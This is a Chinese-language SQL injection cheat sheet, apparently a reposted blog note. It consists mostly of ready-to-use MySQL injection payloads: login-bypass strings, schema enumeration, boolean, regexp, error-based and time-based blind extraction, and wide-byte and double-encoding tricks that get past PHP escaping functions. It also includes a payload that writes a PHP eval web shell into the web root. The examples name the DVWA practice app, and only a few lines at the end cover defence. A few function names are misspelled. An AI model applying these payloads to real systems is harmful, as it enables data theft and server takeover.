MYSQL:SQL注入小笔记
1.sql注入的原理
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
2.常用的软件
awvs
appscan
burpsuite
明小子
啊D
sqlm
3.SQL注入分类
布尔类型注入
报错型注入
可联合查询注入
可多语句查询注入
基于时间延时注入
4.常用的系统函数:
version() —— MYSQL版本
user() —— 数据库用户名
database() ——数据库名
@@datadir————数据库路径
@@version_compile_os ——操作系统版本
5.字符串连接函数
concat(str1,str2,…)——没有分隔符地连接字符串
concata_ws(separator,str1,str2,…)——含有分隔符地连接字符串
group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
6.一般用于测试是否有注入的语句
or 1=1 –+
‘ or 1=1 –+
” or 1=1 –+
) or 1=1 –+
‘) or 1=1 –+
“) or 1=1 –+
“)) or 1=1 –+
一般的代码形势为:
$id=$_GET[ ‘ id ‘ ];
$sql=”select * from users where id=$id limit 0,1″
添加语句后:
$id=$_GET[‘ ‘ or 1=1 –+
‘];
$sql=”select * from users where id=’ ‘ or 1=1 –+
‘ limit 0,1″
7.万能密码
‘ or 1=1 –+
8.注入流程
猜数据库——猜数据表——猜表里的列名——猜所需要的数据
猜数据库:
select schema_name from information_schema.schemata
猜某库的数据表:
select table_name from information_schema.tables where table_schema=’数据库名’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’users’
获取某列的内容
Select *** from ****
9.盲注:
1.基于布尔SQL盲注————-构造逻辑判断
left(version(),1)>5 猜MYSQL版本(数字5是自己设置的,比如是5.5的,取得第一位是5,
5!>5,所以会报错)
length(database())>5 猜数据库的长度
left(database(),1)>’s’ 猜数据库的名字
‘ union select 1,group_concat(user,password),3 from mysql.user –+ 查询用户名和密码
?id=0′ union select 1,database(),3 –+
查询当前数据库在有回显的时候
‘ and 1=1 union select 1,group_concat(username),3 from security.users–+
在有回显的情况下,查询security库里users表里username的值
ascii(substr((select table_name from 猜数据库information_schema里的
information_schema.tables where tables表里的table_name列里的第一
table_schema=’security’ limit 0,1),2,1))=109 –+ 个值的第二个字母条件是属于
security这个数据库里
ascii(substr((Select column_name from 猜数据库information_schema里的
information_schema.columns where columns表里面的column_name列里的
table_name=’users’ limit 0,1),1,1))=117 –+ 第一个值的第一个字母,条件是属于
users这个表里
?id=1′ and length((select schema_name from information_schema.schemata limit 0,1))=18
–+ 查询所有数据库的长度
?id=1′ and length((select table_name from information_schema.tables where
table_schema=’dvwa’ limit 0,1))=9 –+ 查询表的长度
?id=1′ and length((select column_name from information_schema.columns where
table_schema=database() and table_name=”users”limit 0,1))>1 –+ 查询列的长度
2.regexp正则注入
id=1′ and 1=(user() regexpri’^’) –+
查看当前操作的用户
id=1′ and 1=(database() regexp’^s’) –+
查看当前数据库
‘ and length((select schema_name from information_schema.schemata limit 8,1)) –+
通过改变limit的值判断有多少个数据库
‘ and length((select schema_name from information_schema.schemata limit 0,1))=18 –+
判断第一个数据库的长度
?id=1′ and ((select schema_name from information_schema.schemata limit 0,1) regexp
‘^i[a-z]’ )=1 –+
正则猜测第一个数据库的名字
?id=1′ and length((select table_name from information_schema.tables where
table_schema=’dvwa’ limit 1,1)) –+
通过改变limit的值判断dvwa库里有多少个表
?id=1′ and length((select table_name from information_schema.tables where
table_schema=’dvwa’ limit 0,1)) =9 –+
判断dvwa数据库里第一个表的长度
?id=1′ and ((select table_name from information_schema.tables where
table_schema=’dvwa’ limit 0,1)regexp ‘^g[a-z]’ )=1 –+
正则猜测dvwa数据库里第一个表的名字
?id=1′ and length((select column_name from information_schema.columns where
table_schema=’dvwa’ and table_name=’users’ limit 7,1)) –+
通过改变limit的值判断dvwa库里的users表里有多少个字段
?id=1′ and length((select column_name from information_schema.columns where
table_schema=’dvwa’ and table_name=’users’ limit 0,1))=7 –+
判断dvwa数据库里users表里的第一个字段的长度
?id=1′ and ((select column_name from information_schema.columns where
table_schema=’dvwa’ and table_name=’users’ limit 0,1) regexp ‘^u[a-z]’ )=1 –+
正则猜测dvwa数据库里的users表里的第一个值
?id=1′ and length((select user from dvwa.users limit 4,1)) –+
通过改变limit的值判断dvwa数据库里users表里user字段里有多少个值
?id=1′ and length((select user from dvwa.users limit 0,1))=5 –+
判断dvwa数据库里users表里user字段里第一个值的长度
?id=1′ and ((select user from dvwa.users limit 0,1) regexp ‘^a[a-z]’ )=1 –+
正则猜测dvwa数据库里的users表里的user字段里的第一个值
like 匹配注入:select user() like ‘ro%’
3.基于报错的SQL盲注
concat 计数 0x3a 站位 :
a 给concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))命的名字
select exp(~(select * FROM(SELECT USER())a))
//Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上
‘ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #
se//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
‘ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
//mysql对xml数据进行查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错。
注:只能用于低版本的数据库5.0.12
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(version()),0x3a,0x3a,floor(rand(0)*2))a from
information_schema.columns group by a –+
查询当前数据库的版本
?id=1′ union Select 1,count(*),concat(0x3a,0x3a,(select
database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+
查询当前的数据库
?id=1′ union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a
from information_schema.columns group by a –+
查询当前的用户
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select count(*) from information_schema.
schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+
查询有多少个数据库
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select schema_name from information_sch
ema.schemata limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group
by a –+
查询所有数据库里第一个数据库的名字
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select count(*) from
information_schema.tables where table_schema=’dvwa’),0x3a,0x3a,floor(rand(0)*2))a from
information_schema.columns group by a –+
查询dvwa数据库里有多少个表
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select table_name from
information_schema.tables where table_schema=’dvwa’ limit 0,1),0x3a,0x3a,floor(rand(0)*2))a
from information_schema.columns group by a –+
查询dvwa数据库里的第一个表的名字
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select count(*) from
information_schema.columns where table_schema=’dvwa’ and table_name=’users’
),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+
查询dvwa数据库里users表里有多少列
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select column_name from
information_schema.columns where table_schema=’dvwa’ and table_name=’users’ limit
0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+
查询dvwa数据库里users表里的第一个列名
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select count(*) from dvwa.users
),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+
查询dvwa数据库里users表下有多少个值
?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select user from dvwa.users limit
0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+
查询dvwa数据库里users表下的第一个数值
4.基于时间的sql盲注——延时注入(重点,很多地方都是用的延时注入)
判断当前长度
If(ascii(substr(database(),1,1))>115,0,sleep(5)) –+
如果前面执行的正确执行0就为假 ,如果前面错误则执行后面sleep(5)延迟5秒
当逗号被过滤是的小技巧:
select case when (substring((select flag from flag ) from 1 for 1 )=32) then sleep(5) else 1 end
5.导入到文件
?id=1′ union select 1,2,version() into outfile”D:\\phpStudy\\PHPTutorial\\WWW\\cmd.txt” –+
把当前版本导入到D:\\phpStudy\\PHPTutorial\\WWW\\cmd.txt里 cmd.txt是自己设置的,没有会自
动新建
?id=1′ union select 1,2,”<?php @eval($_POST[‘cmd’]);?>” into outfile
“D:\\phpStudy\\PHPTutorial\\WWW\\cmd.php” –+
把一句话导入到D:\\phpStudy\\PHPTutorial\\WWW\\cmd.php下,不存在时也会自动创建
注:一句话是字符串所以必须要加””号,//是为了防止过滤
6.宽字节注入
原理:首先,在PHP中,用于转义的函数有addslashes,mysql_real_escape_string,
mysql_escape_string等,还有一种情况是magic_quote_gpc=on,不过高版本的PHP将去除这个
特性。
addslashes ()函数返回在预定字符之前添加反斜杠的字符串。如(‘ ,”, \等)
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
如(\x00,\n,\r,\,’,”,\x1a)
mysql_escape_string — 转义一个字符串用于 mysql_query(注: mysql_escape_string() 并不转
义 % 和 _。)
有些时候空格被过滤可以用+号代替
?id=-1%df%27 union select 1,(select table_name from information_schema.tables
where table_schema=0x6d7973716c limit 0,1),3–+
有显示位的情况下查询msql数据库里的第一个表名(注:当查询语句里也需要引号直接把需要查询
的东西通过16进制进行转换就不用加 ‘ 引号了)
gbk编码
防止宽字节注入的方法:
mysql_set_charset(“gbk”)和mysql_real_escape_string()函数结合使用
7.二次编码注入
urldecode()函数 把输出的进行编码
id=-1%2527 union select 1,(select concat(username,password) from sqlinject.admin
limit 0,1),3 –+
%2527就是起到欺骗的作用让前面addslashes认为不是单引号
8.防御方法:
1.使用正则表达式过滤传入的参数
2.对特殊字符进行过滤
3.防御软件
4.内容参数化
感谢各位大佬赏脸,有什么不足的地方请多多指教,谢谢!!!
本文来源 互联网收集,文章内容系作者个人观点,不代表 本站 对观点赞同或支持。如需转载,请注明文章来源,如您发现有涉嫌抄袭侵权的内容,请联系本站核实处理。